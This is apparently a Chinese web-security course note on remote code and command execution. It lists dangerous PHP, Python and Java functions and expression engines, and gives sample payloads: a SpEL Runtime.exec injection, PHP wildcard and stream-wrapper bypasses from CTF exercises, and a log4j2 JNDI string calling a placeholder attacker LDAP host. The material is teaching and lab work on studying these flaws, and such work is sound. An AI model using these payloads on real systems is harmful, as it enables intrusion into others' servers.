0%

第73天--RCE&代码执行&命令执行&无回显方案&语言表达式&黑盒功能点&白盒方法名

演示案例:

➢ WEB攻防-RCE-代码执行&命令执行

➢ WEB攻防-RCE-回显&功能点&引发链

RCE代码执行:引用脚本代码解析执行

RCE命令执行:脚本调用操作系统命令

一、漏洞函数

1.PHP:

PHP代码执行函数:

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等

PHP命令执行函数:

system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等

2.Python:

evalexec subprocess os.system commands等

3.Java:

Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

php的某些函数在执行的时候会自动启动shell

java它是没有函数会自动启动shell,执行单个命令,如:whoami,直接告诉操作系统,操作系统自动执行对应命令文件。但是只要用到; | >等符号,操作系统看不懂符号,这些语法是shell程序自己实现的功能,需手动开启shell。

OGNL struts框架自带,只要命令执行自动打开shell

SPEL spring框架自带。SPEL很老实我写什么直接交给原生java执行,不加任何处理

MVEL 老OA才用和SPEL一样

RCE-代码执行

功能点举例:在线编程

RCE-命令执行

功能点举例:系统面板

RCE-Java&PHP

SPEL:(功能点举例:评论解析)

comment=T(java.lang.Runtime).getRuntime().exec(‘calc’)

其他漏洞引发链

注入,文件包含,文件上传,反序列化等引发。大多数命令执行都是其他漏洞引发

有回显&无回显

1、直接写个文件访问查看

2、直接进行对外访问接受

黑盒案例

代码在线运行平台测试

二、白盒CTF

29-通配符

system(‘tac fla*.php’);

30-取代函数&通配符&管道符

cp fla*.ph*2.txt;

echo shell_exec(‘tac fla*.ph*’);

31-参数逃逸

eval($_GET[1]);&1=system(‘tac flag.php’);

32~36-配合包含&伪协议

include$_GET[a]?>&a=data://text/plain,

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

37~39-包含RCE&伪协议&通配符

data://text/plain,

php://input post:

三、拓展:log4j2远程命令执行

参考:https://blog.csdn.net/Bossfrank/article/details/130148819

https://blog.csdn.net/Bossfrank/article/details/130148819

log4j2自带lookup表达式解析功能,日志中${xxx}格式内容会被自动解析执行。攻击者传入${jndi:ldap://攻击ip:端口/exp},服务器打印日志时触发解析,主动出站连接攻击者的LDAP服务器,恶意服务器返回远程Java类地址,目标下载并加载class文件,执行文件实现RCE

JNDI:java自带接口(同一调用入口),不是协议,无端口

LDAP:网络通讯协议,标准端口389,实战复现常用1389